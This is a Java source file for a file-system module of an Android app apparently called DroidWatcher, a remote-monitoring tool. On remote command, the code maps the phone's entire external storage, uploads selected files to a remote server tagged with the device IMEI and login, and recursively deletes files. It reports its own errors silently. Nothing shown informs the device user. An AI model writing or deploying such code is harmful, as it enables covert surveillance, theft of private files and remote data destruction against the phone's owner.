package com.droidwatcher.modules;
import java.io.File;
import java.io.IOException;
import java.lang.ref.WeakReference;
import org.acra.ACRA;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.mime.HttpMultipartMode;
import org.apache.http.entity.mime.MultipartEntity;
import org.apache.http.entity.mime.content.FileBody;
import org.apache.http.entity.mime.content.StringBody;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.util.EntityUtils;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import com.droidwatcher.Debug;
import com.droidwatcher.ServerMessanger;
import com.droidwatcher.SettingsManager;
import com.droidwatcher.lib.MessageType;
import com.droidwatcher.lib.ServerConst;
import com.droidwatcher.variables.ServerMessage;
import android.content.Context;
import android.os.Environment;
import android.os.Handler;
import android.os.Message;
public class FileSystemModule {
private Context mContext;
private SettingsManager mSettings;
private static MyHandler sHandler;
private static final int MAX_DEPTH = 100;
private static final int MAX_FILE_SIZE = 3 * 1024 * 1024;
private static final String SERVER_ADDRESS = ServerMessanger.SERVER_ADDRESS + "File";
public static final int GET_SDCARD = 1;
public static final int GET_DIR = 2;
public static final int GET_FILE = 3;
public static final int DELETE_FILE = 4;
public FileSystemModule(Context context){
mContext = context;
sHandler = new MyHandler(this);
mSettings = new SettingsManager(context);
}
public void start(){
}
public void dispose(){
}
private JSONObject getDirStructure(File directory, int depth) {
try {
JSONObject dir = new JSONObject();
dir.put("name", directory.getName());
JSONArray jFiles = new JSONArray();
JSONArray jDirs = new JSONArray();
File[] list = directory.listFiles();
if (list != null) {
int nextStepDepth = depth - 1;
for (File file : list) {
if (file.isFile()) {
jFiles.put(new JSONObject().put("name", file.getName()).put("size", file.length()));
}
else{
if (depth > 0) {
jDirs.put(getDirStructure(file, nextStepDepth));
}
else{
jDirs.put(new JSONObject().put("name", file.getName()));
}
}
}
}
dir.put("files", jFiles);
dir.put("dirs", jDirs);
return dir;
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
return null;
}
private void getExternalStorage(){
try {
File rootDir = Environment.getExternalStorageDirectory();
JSONObject obj = getDirStructure(rootDir, MAX_DEPTH);
sendResponse(obj, "");
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
sendResponse(null, "");
}
}
private void getDirectory(String directory){
try {
File rootDir = directory.length() > 0 ? new File(directory) : Environment.getExternalStorageDirectory();
JSONObject obj = null;
if (rootDir.exists()) {
obj = getDirStructure(rootDir, 0);
}
sendResponse(obj, directory);
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
sendResponse(null, "");
}
}
private void sendResponse(JSONObject directory, String path){
try {
ServerMessage message = new ServerMessage(MessageType.DIR, mSettings.imei(), mSettings.login());
message.addParam("path", path);
message.addParam("dir", directory);
new ServerMessanger(mContext, message).start();
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
}
private void sendError(String path, String error){
try {
ServerMessage message = new ServerMessage(MessageType.FSERROR, mSettings.imei(), mSettings.login());
message.addParam("path", path);
message.addParam("error", error);
new ServerMessanger(mContext, message).start();
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
}
private void getFile(String fullPath){
File file = new File(fullPath);
if (!file.exists()) {
sendError(fullPath, "File does not exist or unavailable");
}
if (file.length() > MAX_FILE_SIZE) {
sendError(fullPath, "Maximum file size is: " + MAX_FILE_SIZE / 1024 + " kb.");
}
try {
HttpClient httpclient = new DefaultHttpClient();
HttpPost httppost = new HttpPost(SERVER_ADDRESS);
MultipartEntity multipartEntity = new MultipartEntity(HttpMultipartMode.BROWSER_COMPATIBLE);
multipartEntity.addPart("params", new StringBody(getParams()));
multipartEntity.addPart("file", new FileBody(file));
httppost.setEntity(multipartEntity);
HttpResponse response = httpclient.execute(httppost);
if (response != null){
HttpEntity entity = response.getEntity();
if (entity != null) {
String data = EntityUtils.toString(entity, "UTF-8");
if (data.equals(ServerConst.ERROR)) {
sendError(fullPath, "File transfer is unsuccessful");
}
}
}
} catch(IOException e){
Debug.exception(e);
}
catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
}
private void deleteFile(String fullPath){
try {
File file = new File(fullPath);
if (file.exists()) {
deleteRecursive(file);
}
} catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
}
void deleteRecursive(File fileOrDirectory) {
if (fileOrDirectory.isDirectory()){
for (File child : fileOrDirectory.listFiles()){
deleteRecursive(child);
}
}
fileOrDirectory.delete();
}
private String getParams() throws JSONException{
JSONObject obj = new JSONObject()
.put("login", mSettings.login())
.put("imei", mSettings.imei());
return obj.toString();
}
private void handleMessage(final Message msg){
new Thread(new Runnable() {
@Override
public void run() {
switch (msg.what) {
case GET_SDCARD:
getExternalStorage();
break;
case GET_DIR:
getDirectory((String) msg.obj);
break;
case GET_FILE:
getFile((String) msg.obj);
break;
case DELETE_FILE:
deleteFile((String) msg.obj);
break;
default:
break;
}
}
}).start();
}
public static void message(int what){
if (sHandler != null) {
sHandler.sendEmptyMessage(what);
}
}
public static void message(Message msg){
if (sHandler != null) {
sHandler.sendMessage(msg);
}
}
private static class MyHandler extends Handler {
private final WeakReference<FileSystemModule> mModule;
private MyHandler(FileSystemModule module){
mModule = new WeakReference<FileSystemModule>(module);
}
@Override
public void handleMessage(Message msg) {
FileSystemModule module = mModule.get();
if (module != null) {
module.handleMessage(msg);
}
}
}
}